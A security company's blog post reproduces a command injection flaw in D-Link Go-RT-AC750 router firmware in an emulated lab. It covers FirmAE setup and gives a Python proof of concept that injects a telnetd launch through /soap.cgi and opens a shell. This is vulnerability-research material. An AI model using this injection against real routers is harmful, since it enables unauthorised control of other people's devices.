• 提交需求
    *
    *

    *
    *
    *
    立即提交
    点击”立即提交”，表明我理解并同意 《黄金城科技隐私条款》

    logo

      产品与服务
      解决方案
      技术支持
      合作发展
      关于黄金城
      申请试用
        D-Link Go-RT-AC750 命令注入漏洞（CVE-2023-26822）复现
        发布时间：2023-05-26 阅读次数： 1237 次

        漏洞概述
        图片


        D-Link Go-RT-AC750是一款双频无线路由器。
        图片

        D-Link Go-RT-AC750在固件版本为revA_v101b03中存在命令注入漏洞，漏洞编号：CVE-2023-26822。未经授权的攻击者可以请求 /soap.cgi 路由通过携带的参数进行命令拼接，从而控制路由器。


        环境搭建
        图片

        1.FirmAE 工具安装；首先拉取FirmAE 工具仓库

        git clone --recursive https://github.com/pr0v3rbs/FirmAE


        图片

        运行下载脚本；



        cd FirmAE/./download.sh


        图片

        运行./install.sh进行安装

        图片

        2.下载固件

        本文模拟的是设备型号为Go-RT-AC750，固件版本：revA_v101b03

        下载地址:



        https://eu.dlink.com/uk/en/products/go-rt-ac750-wireless-ac750-dual-band-easy-


        下载后得到GORTAC750_A1_FW_v101b03.bin固件文件

        3.FirmAE工具初始化

        在FirmAE工具目录下执行./init.sh进行初始化

        4.安装binwalk

        这里使用FirmAE工具目录下的binwalk安装程序进行安装

        cd binwalk-2.3.3/

        python3 setup.py install

        图片

        5.模拟运行固件
        执行如下命令对固件进行解压

        binwalk -Me /root/GORTAC750_A1_FW_v101b03.bin --run-as=root

        图片

        执行如下命令来模拟运行固件

        sudo ./run.sh -r GORTAC750 /root/GORTAC750_A1_FW_v101b03.bin

        使用浏览器访问http://192.168.0.1，出现如下界面则表明成功模拟了一台D-Link Go-RT-AC750路由器

        图片


        漏洞复现
        图片

        POC内容如下：



        ｆｒｏｍ socket import *ｆｒｏｍ os import *ｆｒｏｍ time import *
        request = b"POST /soap.cgi?service=&&telnetd -p 4123& HTTP/1.1\r\n"request += b"Host: localhost:49152\r\n"request += b"Content-Type: text/xml\r\n"request += b"Content-Length: 88\r\n"request += b"SOAPAction: a#b\r\n\r\n" s = socket(AF_INET, SOCK_STREAM)s.connect((gethostbyname("192.168.0.1"), 49152))s.send(request) sleep(10)system('telnet 192.168.0.1 4123')


        执行POC，成功获取shell.



        python3 poc.py
        图片


        上一条：每周黄金城官网速递???|微软发现macOS漏洞可让黑客绕过SIP root限制
        下一条：每周黄金城官网速递???|法国电子产品制造商Lacroix Group在遭受网络攻击后关闭了三个工厂
        免费试用
        服务热线

        马上咨询

        400-811-3777

        回到顶部
        【网站地图】【sitemap】